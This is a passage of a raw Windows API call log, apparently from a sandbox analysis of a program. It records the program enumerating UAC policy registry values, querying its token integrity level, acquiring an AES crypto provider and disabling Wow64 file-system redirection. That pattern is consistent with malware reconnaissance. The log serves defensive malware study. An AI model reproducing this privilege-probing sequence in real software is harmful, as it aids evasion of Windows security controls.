lpcbData=0x0) returned 0x0 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b930 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c510 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x226b940 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b860) returned 1 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b860 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c4c8 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b968 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c480 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b978 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3f0 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b988 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3a8 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x30) returned 0x226b998 [0140.098] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b940) returned 1 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b940 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c360 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b950 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c318 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9d0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c2d0 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9e0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c240 [0140.098] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b998) returned 1 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b998 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9a8 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1b0 [0140.098] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d1e8 [0140.098] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.099] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d1f8 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b878) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c438) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b888) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c558) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b898) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c510) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b930) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c4c8) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b860) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c480) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b968) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c3f0) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b978) returned 1 [0140.099] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c3a8) returned 1 [0140.099] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x20f594, lpData=0x0, lpcbData=0x20f59c*=0x0 | out: lpType=0x20f594*=0x4, lpData=0x0, lpcbData=0x20f59c*=0x4) returned 0x0 [0140.099] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x20f594, lpData=0x226c240, lpcbData=0x20f59c*=0x4 | out: lpType=0x20f594*=0x4, lpData=0x226c240*=0x5, lpcbData=0x20f59c*=0x4) returned 0x0 [0140.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d1f8 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d1e8 [0140.099] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c240 [0140.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d208 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d218 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x226b860 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d238 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d248 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d258 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c2d0 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x30) returned 0x226b930 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d278 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c360 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d288 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3a8 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d298 [0140.100] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3f0 [0140.100] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c480 [0140.101] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2b8 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c510 [0140.101] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2c8 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c558 [0140.101] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c438 [0140.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.101] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x20f594, lpData=0x0, lpcbData=0x20f59c*=0x0 | out: lpType=0x20f594*=0x4, lpData=0x0, lpcbData=0x20f59c*=0x4) returned 0x0 [0140.101] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x20f594, lpData=0x226c480, lpcbData=0x20f59c*=0x4 | out: lpType=0x20f594*=0x4, lpData=0x226c480*=0x1, lpcbData=0x20f59c*=0x4) returned 0x0 [0140.101] RegCloseKey (hKey=0x24) returned 0x0 [0140.101] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x20f60c | out: TokenHandle=0x20f60c*=0x24) returned 1 [0140.101] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x20f608, TokenInformationLength=0x4, ReturnLength=0x20f604 | out: TokenInformation=0x20f608, ReturnLength=0x20f604) returned 1 [0140.101] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x20f5f8 | out: TokenHandle=0x20f5f8*=0xa0) returned 1 [0140.101] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x20f5f4 | out: TokenInformation=0x0, ReturnLength=0x20f5f4) returned 0 [0140.101] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.101] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x226c5a0, TokenInformationLength=0x14, ReturnLength=0x20f5f4 | out: TokenInformation=0x226c5a0, ReturnLength=0x20f5f4) returned 1 [0140.101] GetSidSubAuthorityCount (pSid=0x226c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x226c5a9 [0140.102] GetSidSubAuthority (pSid=0x226c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x226c5b0 [0140.102] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.102] NtClose (Handle=0xa0) returned 0x0 [0140.102] GetSystemInfo (in: lpSystemInfo=0x20f740 | out: lpSystemInfo=0x20f740*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x6c) returned 0x226b860 [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.102] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c480 [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c438 [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c558 [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c510 [0140.102] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2160048 [0140.103] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c4c8 [0140.103] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c4c8) returned 1 [0140.103] CryptAcquireContextW (in: phProv=0x20f754, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f754*=0x39dce8) returned 1 [0140.200] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2160048) returned 1 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226b8d8 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226b960 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c4c8 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226b9e8 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ba70 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3f0 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226baf8 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3a8 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2160048 [0140.200] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c360 [0140.200] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c360) returned 1 [0140.200] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0140.383] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2160048) returned 1 [0140.383] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3983a8, lpbSaclPresent=0x20f708, pSacl=0x20f75c, lpbSaclDefaulted=0x20f708 | out: lpbSaclPresent=0x20f708, pSacl=0x20f75c, lpbSaclDefaulted=0x20f708) returned 1 [0140.383] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c360 [0140.383] CreateEventA (lpEventAttributes=0x20f750, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0140.383] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c360) returned 1 [0140.383] GetLastError () returned 0x0 [0140.383] LocalFree (hMem=0x3983a8) returned 0x0 [0140.383] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c360 [0140.383] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2160048 [0140.383] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c318 [0140.383] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c318) returned 1 [0140.383] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0140.384] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2160048) returned 1 [0140.384] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3983a8, lpbSaclPresent=0x20f708, pSacl=0x20f75c, lpbSaclDefaulted=0x20f708 | out: lpbSaclPresent=0x20f708, pSacl=0x20f75c, lpbSaclDefaulted=0x20f708) returned 1 [0140.384] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c318 [0140.384] CreateEventA (lpEventAttributes=0x20f750, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0140.384] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c318) returned 1 [0140.384] GetLastError () returned 0x0 [0140.384] LocalFree (hMem=0x3983a8) returned 0x0 [0140.384] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c318 [0140.384] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2160048 [0140.384] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c2d0 [0140.384] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c2d0) returned 1 [0140.384] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0140.385] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2160048) returned 1 [0140.385] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3983a8, lpbSaclPresent=0x20f708, pSacl=0x20f75c, lpbSaclDefaulted=0x20f708 | out: lpbSaclPresent=0x20f708, pSacl=0x20f75c, lpbSaclDefaulted=0x20f708) returned 1 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c2d0 [0140.385] CreateEventA (lpEventAttributes=0x20f750, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0140.385] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c2d0) returned 1 [0140.385] GetLastError () returned 0x0 [0140.385] LocalFree (hMem=0x3983a8) returned 0x0 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2160048 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bb80 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c2d0 [0140.385] Wow64DisableWow64FsRedirection (in: OldValue=0x20f784 | out: OldValue=0x20f784*=0x0) returned 1 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2162850 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.385] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.385] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1f8) returned 1 [0140.386] 